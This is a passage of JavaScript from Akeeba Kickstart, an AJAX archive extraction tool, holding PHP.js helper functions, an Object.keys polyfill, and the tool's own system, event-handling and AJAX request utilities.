	for (var i = 0; i < parts.length; i++)
	{
		var part = parts[i];

		if (part === ".")
		{
			continue;
		}

		if (part === "..")
		{
			out.pop();

			continue;
		}

		out.push(part);
	}

	return out.join("/");
}

/*
 * Courtesy of PHPjs -- http://phpjs.org
 * @license GPL, version 2
 */

function version_compare(v1, v2, operator)
{
	// BEGIN REDUNDANT
	this.php_js     = this.php_js || {};
	this.php_js.ENV = this.php_js.ENV || {};
	// END REDUNDANT
	// Important: compare must be initialized at 0.
	var i           = 0,
		x           = 0,
		compare     = 0,
		// vm maps textual PHP versions to negatives so they're less than 0.
		// PHP currently defines these as CASE-SENSITIVE. It is important to
		// leave these as negatives so that they can come before numerical versions
		// and as if no letters were there to begin with.
		// (1alpha is < 1 and < 1.1 but > 1dev1)
		// If a non-numerical value can't be mapped to this table, it receives
		// -7 as its value.
		vm          = {
			'dev':   -6,
			'alpha': -5,
			'a':     -5,
			'beta':  -4,
			'b':     -4,
			'RC':    -3,
			'rc':    -3,
			'#':     -2,
			'p':     -1,
			'pl':    -1
		},
		// This function will be called to prepare each version argument.
		// It replaces every _, -, and + with a dot.
		// It surrounds any nonsequence of numbers/dots with dots.
		// It replaces sequences of dots with a single dot.
		//    version_compare('4..0', '4.0') == 0
		// Important: A string of 0 length needs to be converted into a value
		// even less than an unexisting value in vm (-7), hence [-8].
		// It's also important to not strip spaces because of this.
		//   version_compare('', ' ') == 1
		prepVersion = function (v)
		{
			v = ('' + v).replace(/[_\-+]/g, '.');
			v = v.replace(/([^.\d]+)/g, '.$1.').replace(/\.{2,}/g, '.');
			return (!v.length ? [-8] : v.split('.'));
		},
		// This converts a version component to a number.
		// Empty component becomes 0.
		// Non-numerical component becomes a negative number.
		// Numerical component becomes itself as an integer.
		numVersion  = function (v)
		{
			return !v ? 0 : (isNaN(v) ? vm[v] || -7 : parseInt(v, 10));
		};
	v1              = prepVersion(v1);
	v2              = prepVersion(v2);
	x               = Math.max(v1.length, v2.length);
	for (i = 0; i < x; i++)
	{
		if (v1[i] == v2[i])
		{
			continue;
		}
		v1[i] = numVersion(v1[i]);
		v2[i] = numVersion(v2[i]);
		if (v1[i] < v2[i])
		{
			compare = -1;
			break;
		}
		else if (v1[i] > v2[i])
		{
			compare = 1;
			break;
		}
	}
	if (!operator)
	{
		return compare;
	}

	// Important: operator is CASE-SENSITIVE.
	// "No operator" seems to be treated as less than
	// Any other values seem to make the function return null.
	switch (operator)
	{
		case '>':
		case 'gt':
			return (compare > 0);
		case '>=':
		case 'ge':
			return (compare >= 0);
		case '<=':
		case 'le':
			return (compare <= 0);
		case '==':
		case '=':
		case 'eq':
			return (compare === 0);
		case '<>':
		case '!=':
		case 'ne':
			return (compare !== 0);
		case '':
		case '<':
		case 'lt':
			return (compare < 0);
		default:
			return null;
	}
}

function is_array(mixed_var)
{
	var key         = "";
	var getFuncName = function (fn)
	{
		var name = (/\W*function\s+([\w\$]+)\s*\(/).exec(fn);
		if (!name)
		{
			return "(Anonymous)";
		}
		return name[1];
	};

	if (!mixed_var)
	{
		return false;
	}

	// BEGIN REDUNDANT
	this.php_js     = this.php_js || {};
	this.php_js.ini = this.php_js.ini || {};
	// END REDUNDANT

	if (typeof mixed_var === "object")
	{

		if (this.php_js.ini["phpjs.objectsAsArrays"] &&  // Strict checking for being a JavaScript array (only check this way if
											 // call ini_set('phpjs.objectsAsArrays', 0) to disallow objects as arrays)
			(
				(this.php_js.ini["phpjs.objectsAsArrays"].local_value.toLowerCase &&
					this.php_js.ini["phpjs.objectsAsArrays"].local_value.toLowerCase() === "off") ||
				parseInt(this.php_js.ini["phpjs.objectsAsArrays"].local_value, 10) === 0)
		)
		{
			return mixed_var.hasOwnProperty("length") && // Not non-enumerable because of being on parent class
				!mixed_var.propertyIsEnumerable("length") && // Since is own property, if not enumerable, it must be a
															 // built-in function
				getFuncName(mixed_var.constructor) !== "String"; // exclude String()
		}

		if (mixed_var.hasOwnProperty)
		{
			for (key in mixed_var)
			{
				// Checks whether the object has the specified property
				// if not, we figure it's not an object in the sense of a php-associative-array.
				if (false === mixed_var.hasOwnProperty(key))
				{
					return false;
				}
			}
		}

		// Read discussion at: http://kevin.vanzonneveld.net/techblog/article/javascript_equivalent_for_phps_is_array/
		return true;
	}

	return false;
}

function array_key_exists(key, search)
{
	if (!search || (search.constructor !== Array && search.constructor !== Object))
	{
		return false;
	}
	return key in search;
}

function basename(path, suffix)
{
	var b = path.replace(/^.*[\/\\]/g, "");
	if (typeof(suffix) == "string" && b.substr(b.length - suffix.length) == suffix)
	{
		b = b.substr(0, b.length - suffix.length);
	}
	return b;
}

function number_format(number, decimals, dec_point, thousands_sep)
{
	var n = number, c = isNaN(decimals = Math.abs(decimals)) ? 2 : decimals;
	var d = dec_point == undefined ? "," : dec_point;
	var t = thousands_sep == undefined ? "." : thousands_sep, s = n < 0 ? "-" : "";
	var i = parseInt(n = Math.abs(+n || 0).toFixed(c)) + "", j = (j = i.length) > 3 ? j % 3 : 0;

	return s + (j ? i.substr(0, j) + t : "") + i.substr(j)
		.replace(/(\d{3})(?=\d)/g, "$1" + t) + (c ? d + Math.abs(n - i).toFixed(c).slice(2) : "");
}

function size_format(filesize)
{
	if (filesize >= 1073741824)
	{
		filesize = number_format(filesize / 1073741824, 2, ".", "") + " GB";
	}
	else
	{
		if (filesize >= 1048576)
		{
			filesize = number_format(filesize / 1048576, 2, ".", "") + " MB";
		}
		else
		{
			filesize = number_format(filesize / 1024, 2, ".", "") + " KB";
		}
	}
	return filesize;
}

/**
 * Checks if a variable is empty. From the php.js library.
 */
function empty(mixed_var)
{
	var key;

	if (mixed_var === "" ||
		mixed_var === 0 ||
		mixed_var === "0" ||
		mixed_var === null ||
		mixed_var === false ||
		typeof mixed_var === "undefined"
	)
	{
		return true;
	}

	if (typeof mixed_var == "object")
	{
		for (key in mixed_var)
		{
			return false;
		}
		return true;
	}

	return false;
}

function ltrim(str, charlist)
{
	// Strips whitespace from the beginning of a string
	//
	// version: 1008.1718
	// discuss at: http://phpjs.org/functions/ltrim    // +   original by: Kevin van Zonneveld
	// (http://kevin.vanzonneveld.net) +      input by: Erkekjetter +   improved by: Kevin van Zonneveld
	// (http://kevin.vanzonneveld.net) +   bugfixed by: Onno Marsman *     example 1: ltrim('    Kevin van Zonneveld
	// ');    // *     returns 1: 'Kevin van Zonneveld    '
	charlist = !charlist ? " \\s\u00A0" : (charlist + "").replace(/([\[\]\(\)\.\?\/\*\{\}\+\$\^\:])/g, "$1");
	var re   = new RegExp("^[" + charlist + "]+", "g");
	return (str + "").replace(re, "");
}

function array_shift(inputArr)
{
	// http://kevin.vanzonneveld.net
	// +   original by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
	// +   improved by: Martijn Wieringa
	// %        note 1: Currently does not handle objects
	// *     example 1: array_shift(['Kevin', 'van', 'Zonneveld']);
	// *     returns 1: 'Kevin'

	var props                                                  = false,
		shift = undefined, pr = "", allDigits = /^\d$/, int_ct = -1,
		_checkToUpIndices                                      = function (arr, ct, key)
		{
			// Deal with situation, e.g., if encounter index 4 and try to set it to 0, but 0 exists later in loop (need
			// to increment all subsequent (skipping current key, since we need its value below) until find unused)
			if (arr[ct] !== undefined)
			{
				var tmp = ct;
				ct += 1;
				if (ct === key)
				{
					ct += 1;
				}
				ct      = _checkToUpIndices(arr, ct, key);
				arr[ct] = arr[tmp];
				delete arr[tmp];
			}
			return ct;
		};


	if (inputArr.length === 0)
	{
		return null;
	}
	if (inputArr.length > 0)
	{
		return inputArr.shift();
	}
}

function trim(str, charlist)
{
	var whitespace, l = 0, i = 0;
	str += "";

	if (!charlist)
	{
		// default list
		whitespace =
			" \n\r\t\f\x0b\xa0\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u200b\u2028\u2029\u3000";
	}
	else
	{
		// preg_quote custom list
		charlist += "";
		whitespace = charlist.replace(/([\[\]\(\)\.\?\/\*\{\}\+\$\^\:])/g, "$1");
	}

	l = str.length;
	for (i = 0; i < l; i++)
	{
		if (whitespace.indexOf(str.charAt(i)) === -1)
		{
			str = str.substring(i);
			break;
		}
	}

	l = str.length;
	for (i = l - 1; i >= 0; i--)
	{
		if (whitespace.indexOf(str.charAt(i)) === -1)
		{
			str = str.substring(0, i + 1);
			break;
		}
	}

	return whitespace.indexOf(str.charAt(0)) === -1 ? str : "";
}

function array_merge()
{
	// Merges elements from passed arrays into one array
	//
	// version: 1103.1210
	// discuss at: http://phpjs.org/functions/array_merge
	// +   original by: Brett Zamir (http://brett-zamir.me)
	// +   bugfixed by: Nate
	// +   input by: josh
	// +   bugfixed by: Brett Zamir (http://brett-zamir.me)
	// *     example 1: arr1 = {"color": "red", 0: 2, 1: 4}
	// *     example 1: arr2 = {0: "a", 1: "b", "color": "green", "shape": "trapezoid", 2: 4}
	// *     example 1: array_merge(arr1, arr2)
	// *     returns 1: {"color": "green", 0: 2, 1: 4, 2: "a", 3: "b", "shape": "trapezoid", 4: 4}
	// *     example 2: arr1 = []
	// *     example 2: arr2 = {1: "data"}
	// *     example 2: array_merge(arr1, arr2)
	// *     returns 2: {0: "data"}
	var args   = Array.prototype.slice.call(arguments),
		retObj = {},
		k, j   = 0,
		i      = 0,
		retArr = true;

	for (i = 0; i < args.length; i++)
	{
		if (!(args[i] instanceof Array))
		{
			retArr = false;
			break;
		}
	}

	if (retArr)
	{
		retArr = [];
		for (i = 0; i < args.length; i++)
		{
			retArr = retArr.concat(args[i]);
		}
		return retArr;
	}
	var ct = 0;

	for (i = 0, ct = 0; i < args.length; i++)
	{
		if (args[i] instanceof Array)
		{
			for (j = 0; j < args[i].length; j++)
			{
				retObj[ct++] = args[i][j];
			}
		}
		else
		{
			for (k in args[i])
			{
				if (args[i].hasOwnProperty(k))
				{
					if (parseInt(k, 10) + "" === k)
					{
						retObj[ct++] = args[i][k];
					}
					else
					{
						retObj[k] = args[i][k];
					}
				}
			}
		}
	}
	return retObj;
}

function array_diff(arr1)
{ // eslint-disable-line camelcase
	//  discuss at: http://locutus.io/php/array_diff/
	// original by: Kevin van Zonneveld (http://kvz.io)
	// improved by: Sanjoy Roy
	//  revised by: Brett Zamir (http://brett-zamir.me)
	//   example 1: array_diff(['Kevin', 'van', 'Zonneveld'], ['van', 'Zonneveld'])
	//   returns 1: {0:'Kevin'}

	var retArr = {};
	var argl   = arguments.length;
	var k1     = "";
	var i      = 1;
	var k      = "";
	var arr    = {};

	arr1keys: for (k1 in arr1)
	{
		for (i = 1; i < argl; i++)
		{
			arr = arguments[i];
			for (k in arr)
			{
				if (arr[k] === arr1[k1])
				{
					// If it reaches here, it was found in at least one array, so try next value
					continue arr1keys;
				}
			}
			retArr[k1] = arr1[k1];
		}
	}

	return retArr;
}

//=============================================================================
// Object.keys polyfill
//=============================================================================

// From https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys
if (!Object.keys)
{
	Object.keys = (function () {
		"use strict";
		var hasOwnProperty  = Object.prototype.hasOwnProperty,
			hasDontEnumBug  = !({toString: null}).propertyIsEnumerable("toString"),
			dontEnums       = [
				"toString",
				"toLocaleString",
				"valueOf",
				"hasOwnProperty",
				"isPrototypeOf",
				"propertyIsEnumerable",
				"constructor"
			],
			dontEnumsLength = dontEnums.length;

		return function (obj) {
			if (typeof obj !== "object" && (typeof obj !== "function" || obj === null))
			{
				throw new TypeError("Object.keys called on non-object");
			}

			var result = [], prop, i;

			for (prop in obj)
			{
				if (hasOwnProperty.call(obj, prop))
				{
					result.push(prop);
				}
			}

			if (hasDontEnumBug)
			{
				for (i = 0; i < dontEnumsLength; i++)
				{
					if (hasOwnProperty.call(obj, dontEnums[i]))
					{
						result.push(dontEnums[i]);
					}
				}
			}
			return result;
		};
	}());
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

akeeba.System = {};

akeeba.System.documentReady = function (callback, context)
{
};

akeeba.System.notification = {
	hasDesktopNotification: false,
	iconURL:                ''
};
akeeba.System.params       = {
	AjaxURL:               '',
	errorCallback:         onGenericError,
	password:              '',
	errorDialogId:         'errorDialog',
	errorDialogMessageId:  'errorDialogPre'
};

/**
 * An extremely simple error handler, dumping error messages to screen
 *
 * @param  error  The error message string
 */
akeeba.System.defaultErrorHandler = function (error)
{
	alert("An error has occurred\n" + error);
};

akeeba.System.params.errorCallback = onGenericError;

/**
 * Performs an AJAX request and returns the parsed JSON output.
 * akeeba.System.params.AjaxURL is used as the AJAX proxy URL.
 * If there is no errorCallback, the global akeeba.System.params.errorCallback is used.
 *
 * @param  data             An object with the query data, e.g. a serialized form
 * @param  successCallback  A function accepting a single object parameter, called on success
 * @param  errorCallback    A function accepting a single string parameter, called on failure
 * @param  useCaching       Should we use the cache?
 * @param  timeout          Timeout before cancelling the request (default 60s)
 */
akeeba.System.doAjax = function (data, successCallback, errorCallback, useCaching, timeout)
{
	if (useCaching == null)
	{
		useCaching = true;
	}

	// We always want to burst the cache
	var now                = new Date().getTime() / 1000;
	var s                  = parseInt(now, 10);
	data._cacheBustingJunk = Math.round((now - s) * 1000) / 1000;

	if (timeout == null)
	{
		timeout = 600000;
	}

	var structure =
			{
				type:    "POST",
				url:     akeeba.System.params.AjaxURL,
				cache:   false,
				data:    data,
				timeout: timeout,
				success: function (msg)
				{
					// Initialize
					var message = "";

					// Get rid of junk before the data
					var valid_pos = msg.indexOf('###');

					if (valid_pos === -1)
					{
						// Valid data not found in the response
						msg = akeeba.System.sanitizeErrorMessage(msg);
						msg = 'Invalid AJAX data: ' + msg;

						if (errorCallback == null)
						{
							if (akeeba.System.params.errorCallback != null)
							{
								akeeba.System.params.errorCallback(msg);
							}
						}
						else
						{
							errorCallback(msg);
						}

						return;
					}
					else if (valid_pos !== 0)
					{
						// Data is prefixed with junk
						message = msg.substr(valid_pos);
					}
					else
					{
						message = msg;
					}

					message = message.substr(3); // Remove triple hash in the beginning

					// Get of rid of junk after the data
					valid_pos = message.lastIndexOf('###');
					message   = message.substr(0, valid_pos); // Remove triple hash in the end

					try
					{
						var data = JSON.parse(message);
					}
					catch (err)
					{
						message = akeeba.System.sanitizeErrorMessage(message);
						msg     = err.message + "\n<br/>\n<pre>\n" + message + "\n</pre>";

						if (errorCallback == null)
						{
							if (akeeba.System.params.errorCallback != null)
							{
								akeeba.System.params.errorCallback(msg);
							}
						}
						else
						{
							errorCallback(msg);
						}

						return;
					}

					// Call the callback function
					successCallback(data);
				},
				error:   function (Request, textStatus, errorThrown)
				{
					var text    = Request.responseText ? Request.responseText : '';
					var message = '<strong>AJAX Loading Error</strong><br/>HTTP Status: ' + Request.status +
						' (' + Request.statusText + ')<br/>';

					message = message + 'Internal status: ' + textStatus + '<br/>';
					message = message + 'XHR ReadyState: ' + Request.readyState + '<br/>';
					message = message + 'Raw server response:<br/>' + akeeba.System.sanitizeErrorMessage(text);

					if (errorCallback == null)
					{
						if (akeeba.System.params.errorCallback != null)
						{
							akeeba.System.params.errorCallback(message);
						}
					}
					else
					{
						errorCallback(message);
					}
				}
			};

	if (useCaching)
	{
		akeeba.Ajax.enqueue(structure);
	}
	else
	{
		akeeba.Ajax.ajax(structure);
	}
};

/**
 * Sanitize a message before displaying it in an error dialog. Some servers return an HTML page with DOM modifying
 * JavaScript when they block the backup script for any reason (usually with a 5xx HTTP error code). Displaying the
 * raw response in the error dialog has the side-effect of killing our backup resumption JavaScript or even completely
 * destroy the page, making backup restart impossible.
 *
 * @param {string} msg The message to sanitize
 *
 * @returns {string}
 */
akeeba.System.sanitizeErrorMessage = function (msg)
{
	if (msg.indexOf("<script") > -1)
	{
		try
		{
			msg = (new DOMParser().parseFromString(msg ?? "", "text/html")).textContent;
		}
		catch (e)
		{
			msg = "(HTML containing script tags)";
		}
	}

	return msg;
};

/**
 * Get and set data to elements. Use:
 * akeeba.System.data.set(element, property, value)
 * akeeba.System.data.get(element, property, defaultValue)
 *
 * On modern browsers (minimum IE 11, Chrome 8, FF 6, Opera 11, Safari 6) this will use the data-* attributes of the
 * elements where possible. On old browsers it will use an internal cache and manually apply data-* attributes.
 */
akeeba.System.data = (function ()
{
	var lastId = 0,
		store  = {};

	return {
		set: function (element, property, value)
		{
			// IE 11, modern browsers
			if (element.dataset)
			{
				element.dataset[property] = value;

				if (value == null)
				{
					delete element.dataset[property];
				}

				return;
			}

			// IE 8 to 10, old browsers
			var id;

			if (element.myCustomDataTag === undefined)
			{
				id                      = lastId++;
				element.myCustomDataTag = id;
			}

			if (typeof(store[id]) === 'undefined')
			{
				store[id] = {};
			}

			// Store the value in the internal cache...
			store[id][property] = value;

			// ...and the DOM

			// Convert the property to dash-format
			var dataAttributeName = 'data-' + property.split(/(?=[A-Z])/).join('-').toLowerCase();

			if (element.setAttribute)
			{
				element.setAttribute(dataAttributeName, value);
			}

			if (value == null)
			{
				// IE 8 throws an exception on "delete"
				try
				{
					delete store[id][property];
					element.removeAttribute(dataAttributeName);
				}
				catch (e)
				{
					store[id][property] = null;
				}
			}
		},

		get: function (element, property, defaultValue)
		{
			// IE 11, modern browsers
			if (element.dataset)
			{
				if (typeof(element.dataset[property]) === 'undefined')
				{
					element.dataset[property] = defaultValue;
				}

				return element.dataset[property];
			}
			// IE 8 to 10, old browsers

			if (typeof(defaultValue) === 'undefined')
			{
				defaultValue = null;
			}

			// Make sure we have an internal storage
			if (typeof(store[element.myCustomDataTag]) === 'undefined')
			{
				store[element.myCustomDataTag] = {};
			}

			// Convert the property to dash-format
			var dataAttributeName = 'data-' + property.split(/(?=[A-Z])/).join('-').toLowerCase();

			// data-* attributes have precedence
			if (typeof(element[dataAttributeName]) !== 'undefined')
			{
				store[element.myCustomDataTag][property] = element[dataAttributeName];
			}

			// No data-* attribute and no stored value? Use the default.
			if (typeof(store[element.myCustomDataTag][property]) === 'undefined')
			{
				this.set(element, property, defaultValue);
			}

			// Return the value of the data
			return store[element.myCustomDataTag][property];
		}
	};
}());

/**
 * Adds an event listener to an element
 *
 * @param element
 * @param eventName
 * @param listener
 */
akeeba.System.addEventListener = function (element, eventName, listener)
{
	// Allow the passing of an element ID string instead of the DOM elem
	if (typeof element === "string")
	{
		element = document.getElementById(element);
	}

	if (element == null)
	{
		return;
	}

	if (typeof element !== 'object')
	{
		return;
	}

	// Handles the listener in a way that returning boolean false will cancel the event propagation
	function listenHandler(e)
	{
		var ret = listener.apply(this, arguments);

		if (ret === false)
		{
			if (e.stopPropagation())
			{
				e.stopPropagation();
			}

			if (e.preventDefault)
			{
				e.preventDefault();
			}
			else
			{
				e.returnValue = false;
			}
		}

		return (ret);
	}

	// Equivalent of listenHandler for IE8
	function attachHandler()
	{
		// Normalize the target of the event –– PhpStorm detects this as an error
		// window.event.target = window.event.srcElement;

		var ret = listener.call(element, window.event);

		if (ret === false)
		{
			window.event.returnValue  = false;
			window.event.cancelBubble = true;
		}

		return (ret);
	}

	if (element.addEventListener)
	{
		element.addEventListener(eventName, listenHandler, false);

		return;
	}

	element.attachEvent("on" + eventName, attachHandler);
};

/**
 * Remove an event listener from an element
 *
 * @param element
 * @param eventName
 * @param listener
 */
akeeba.System.removeEventListener = function (element, eventName, listener)
{
	// Allow the passing of an element ID string instead of the DOM elem
	if (typeof element === "string")
	{
		element = document.getElementById(element);
	}

	if (element == null)
	{
		return;
	}

	if (typeof element !== 'object')
	{
		return;
	}

	if (element.removeEventListener)
	{
		element.removeEventListener(eventName, listener);

		return;
	}

	element.detachEvent("on" + eventName, listener);
};

akeeba.System.triggerEvent = function (element, eventName)
{
	if (typeof element === 'undefined')
	{
		return;
	}

	if (element === null)
	{
		return;
	}

	// Allow the passing of an element ID string instead of the DOM elem
	if (typeof element === "string")
	{
		element = document.getElementById(element);
	}

	if (typeof element !== 'object')
	{
		return;
	}

	if (!(element instanceof Element))
	{
		return;
	}

	// Use jQuery and be done with it!
	if (typeof window.jQuery === 'function')
	{
		window.jQuery(element).trigger(eventName);

		return;
	}

	// Internet Explorer way
	if (document.fireEvent && (typeof window.Event === 'undefined'))
	{
		element.fireEvent('on' + eventName);

		return;
	}

	// This works on Chrome and Edge but not on Firefox. Ugh.
	var event = document.createEvent("Event");
	event.initEvent(eventName, true, true);
	element.dispatchEvent(event);
};

// document.ready equivalent from https://github.com/jfriend00/docReady/blob/master/docready.js
(function (funcName, baseObj)
{
	funcName = funcName || "documentReady";
	baseObj  = baseObj || akeeba.System;

	var readyList                   = [];
	var readyFired                  = false;
	var readyEventHandlersInstalled = false;

	// Call this when the document is ready. This function protects itself against being called more than once.
	function ready()
	{
		if (!readyFired)
		{
			// This must be set to true before we start calling callbacks
			readyFired = true;

			for (var i = 0; i < readyList.length; i++)
			{
				/**
				 * If a callback here happens to add new ready handlers, this function will see that it already
				 * fired and will schedule the callback to run right after this event loop finishes so all handlers
				 * will still execute in order and no new ones will be added to the readyList while we are
				 * processing the list.
				 */
				readyList[i].fn.call(window, readyList[i].ctx);
			}

			// Allow any closures held by these functions to free
			readyList = [];
		}
	}

	/**
	 * Solely for the benefit of Internet Explorer
	 */
	function readyStateChange()
	{
		if (document.readyState === "complete")
		{
			ready();
		}
	}

	/**
	 * This is the one public interface:
	 *
	 * akeeba.System.documentReady(fn, context);
	 *
	 * @param   callback   The callback function to execute when the document is ready.
	 * @param   context    Optional. If present, it will be passed as an argument to the callback.
	 */
	//
	//
	//
	baseObj[funcName] = function (callback, context)
	{
		// If ready() has already fired, then just schedule the callback to fire asynchronously
		if (readyFired)
		{
			setTimeout(function ()
			{
				callback(context);
			}, 1);

			return;
		}

		// Add the function and context to the queue
		readyList.push({fn: callback, ctx: context});

		/**
		 * If the document is already ready, schedule the ready() function to run immediately.
		 *
		 * Note: IE is only safe when the readyState is "complete", other browsers are safe when the readyState is
		 * "interactive"
		 */
		if (document.readyState === "complete" || (!document.attachEvent && document.readyState === "interactive"))
		{
			setTimeout(ready, 1);

			return;
		}

		// If the handlers are already installed just quit
		if (readyEventHandlersInstalled)
		{
			return;
		}

		// We don't have event handlers installed, install them
		readyEventHandlersInstalled = true;

		// -- We have an addEventListener method in the document, this is a modern browser.

		if (document.addEventListener)
		{
			// Prefer using the DOMContentLoaded event
			document.addEventListener("DOMContentLoaded", ready, false);

			// Our backup is the window's "load" event
			window.addEventListener("load", ready, false);

			return;
		}

		// -- Most likely we're stuck with an ancient version of IE

		// Our primary method of activation is the onreadystatechange event
		document.attachEvent("onreadystatechange", readyStateChange);

		// Our backup is the windows's "load" event
		window.attachEvent("onload", ready);
	}
})("documentReady", akeeba.System);

akeeba.System.addClass = function (element, newClasses)
{
	if (!element || !element.className)
	{
		return;
	}

	var currentClasses = element.className.split(' ');

	if ((typeof newClasses) === 'string')
	{
		newClasses = newClasses.split(' ');
	}

	currentClasses = array_merge(currentClasses, newClasses);

	element.className = '';

	for (property in currentClasses)
	{
		if (currentClasses.hasOwnProperty(property))
		{
			element.className += currentClasses[property] + ' ';
		}
	}

	if (element.className.trim)
	{
		element.className = element.className.trim();
	}
};

akeeba.System.removeClass = function (element, oldClasses)
{
	if (!element || !element.className)
	{
		return;
	}

	var currentClasses = element.className.split(' ');

	if ((typeof oldClasses) === 'string')
	{
		oldClasses = oldClasses.split(' ');
	}

	currentClasses = array_diff(currentClasses, oldClasses);

	element.className = '';

	for (property in currentClasses)
	{
		if (currentClasses.hasOwnProperty(property))
		{
			element.className += currentClasses[property] + ' ';
		}
	}

	if (element.className.trim)
	{
		element.className = element.className.trim();
	}
};

akeeba.System.hasClass = function (element, aClass)
{
	if (!element || !element.className)
	{
		return;
	}

	var currentClasses = element.className.split(' ');

	for (i = 0; i < currentClasses.length; i++)
	{
		if (currentClasses[i] === aClass)
		{
			return true;
		}
	}

	return false;
};

akeeba.System.toggleClass = function(element, aClass)
{
	if (akeeba.System.hasClass(element, aClass))
	{
		akeeba.System.removeClass(element, aClass);

		return;
	}

	akeeba.System.addClass(element, aClass);
};


/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * An AJAX abstraction layer for use with Akeeba software
 */
akeeba.Ajax = {
	// Maps nonsense HTTP status codes to what should actually be returned
	xhrSuccessStatus: {
		// File protocol always yields status code 0, assume 200
		0: 200,
		// Support: IE <=9 only. Sometimes IE returns 1223 when it should be 204
		1223: 204
	},
	// Used for chained AJAX: each request will be launched once the previous one is done (successfully or not)
	requestArray: [],
	processingQueue: false
};

/**
 * Performs an asynchronous AJAX request. Mostly compatible with jQuery 1.5+ calling conventions, or at least the
 * subset
 * of the features we used in our software.
 *
 * The parameters can be
 * method        string      HTTP method (GET, POST, PUT, ...). Default: POST.
 * url        string      URL to access over AJAX. Required.
 * timeout    int         Request timeout in msec. Default: 600,000 (ten minutes)
 * data        object      Data to send to the AJAX URL. Default: empty
 * success    function    function(string responseText, string responseStatus, XMLHttpRequest xhr)
 * error        function    function(XMLHttpRequest xhr, string errorType, Exception e)
 * beforeSend    function    function(XMLHttpRequest xhr, object parameters) You can modify xhr, not parameters. Return
 * false to abort the request.
 *
 * @param   url         {string}  URL to send the AJAX request to
 * @param   parameters  {object}  Configuration parameters
 */
akeeba.Ajax.ajax = function (url, parameters)
{
	// Handles jQuery 1.0 calling style of .ajax(parameters), passing the URL as a property of the parameters object
	if (typeof(parameters) === "undefined")
	{
		parameters = url;
		url        = parameters.url;
	}

	// Get the parameters I will use throughout
	var method          = (typeof(parameters.type) === "undefined") ? "POST" : parameters.type;
	method              = method.toUpperCase();
	var data            = (typeof(parameters.data) === "undefined") ? {} : parameters.data;
	var sendData        = null;
	var successCallback = (typeof(parameters.success) === "undefined") ? null : parameters.success;
	var errorCallback   = (typeof(parameters.error) === "undefined") ? null : parameters.error;

	// === Cache busting
	var cache = (typeof(parameters.cache) === "undefined") ? false : parameters.url;

	if (!cache)
	{
		var now                = new Date().getTime() / 1000;
		var s                  = parseInt(now, 10);
		data._cacheBustingJunk = Math.round((now - s) * 1000) / 1000;
	}

	// === Interpolate the data
	if ((method === "POST") || (method === "PUT"))
	{
		sendData = this.interpolateParameters(data);
	}
	else
	{
		url += url.indexOf("?") === -1 ? "?" : "&";
		url += this.interpolateParameters(data);
	}

	// === Get the XHR object
	var xhr = new XMLHttpRequest();
	xhr.open(method, url);

	// === Handle POST / PUT data
	if ((method === "POST") || (method === "PUT"))
	{
		xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	}

	// --- Set the load handler
	xhr.onload = function (event)
	{
		var status         = akeeba.Ajax.xhrSuccessStatus[xhr.status] || xhr.status;
		var statusText     = xhr.statusText;
		var isBinaryResult = (xhr.responseType || "text") !== "text" || typeof xhr.responseText !== "string";
		var responseText   = isBinaryResult ? xhr.response : xhr.responseText;
		var headers        = xhr.getAllResponseHeaders();

		if (status === 200)
		{
			if (successCallback != null)
			{
				akeeba.Ajax.triggerCallbacks(successCallback, responseText, statusText, xhr);
			}

			return;
		}

		if (errorCallback)
		{
			akeeba.Ajax.triggerCallbacks(errorCallback, xhr, "error", null);
		}
	};

	// --- Set the error handler
	xhr.onerror = function (event)
	{
		if (errorCallback)
		{
			akeeba.Ajax.triggerCallbacks(errorCallback, xhr, "error", null);
		}
	};

	// IE 8 is a pain the butt
	if (window.attachEvent && !window.addEventListener)
	{
		xhr.onreadystatechange = function ()
		{
			if (this.readyState === 4)
			{
				var status = akeeba.Ajax.xhrSuccessStatus[this.status] || this.status;

				if (status >= 200 && status < 400)
				{
					// Success!
					xhr.onload();
				}
				else
				{
					xhr.onerror();
				}
			}
		};
	}

	// --- Set the timeout handler
	xhr.ontimeout = function ()
	{
		if (errorCallback)
		{
			akeeba.Ajax.triggerCallbacks(errorCallback, xhr, "timeout", null);
		}
	};

	// --- Set the abort handler
	xhr.onabort = function ()
	{
		if (errorCallback)
		{
			akeeba.Ajax.triggerCallbacks(errorCallback, xhr, "abort", null);
		}
	};

	// --- Apply the timeout before running the request
	var timeout = (typeof(parameters.timeout) === "undefined") ? 600000 : parameters.timeout;

	if (timeout > 0)
	{
		xhr.timeout = timeout;
	}

	// --- Call the beforeSend event handler. If it returns false the request is canceled.
	if (typeof(parameters.beforeSend) !== "undefined")
	{
		if (parameters.beforeSend(xhr, parameters) === false)
		{
			return;
		}
	}

	xhr.send(sendData);
};

/**
 * Adds an AJAX request to the request queue and begins processing the queue if it's not already started. The request
 * queue is a FIFO buffer. Each request will be executed as soon as the one preceeding it has completed processing
 * (successfully or otherwise).
 *
 * It's the same syntax as .ajax() with the difference that the request is queued instead of executed right away.
 *
 * @param   url         {string}  The URL to send the request to
 * @param   parameters  {object}  Configuration parameters
 */
akeeba.Ajax.enqueue = function (url, parameters)
{
	// Handles jQuery 1.0 calling style of .ajax(parameters), passing the URL as a property of the parameters object
	if (typeof(parameters) === "undefined")
	{
		parameters = url;
		url        = parameters.url;
	}

	parameters.url = url;
	akeeba.Ajax.requestArray.push(parameters);

	akeeba.Ajax.processQueue();
};

/**
 * Converts a simple object containing query string parameters to a single, escaped query string
 *
 * @param    object   {object}  A plain object containing the query parameters to pass
 * @param    prefix   {string}  Prefix for array-type parameters
 *
 * @returns  {string}
 *
 * @access  private
 */
akeeba.Ajax.interpolateParameters = function (object, prefix)
{
	prefix            = prefix || "";
	var encodedString = "";

	for (var prop in object)
	{
		if (object.hasOwnProperty(prop))
		{
			if (encodedString.length > 0)
			{
				encodedString += "&";
			}

			if (typeof object[prop] !== "object")
			{
				if (prefix === "")
				{
					encodedString += encodeURIComponent(prop) + "=" + encodeURIComponent(object[prop]);
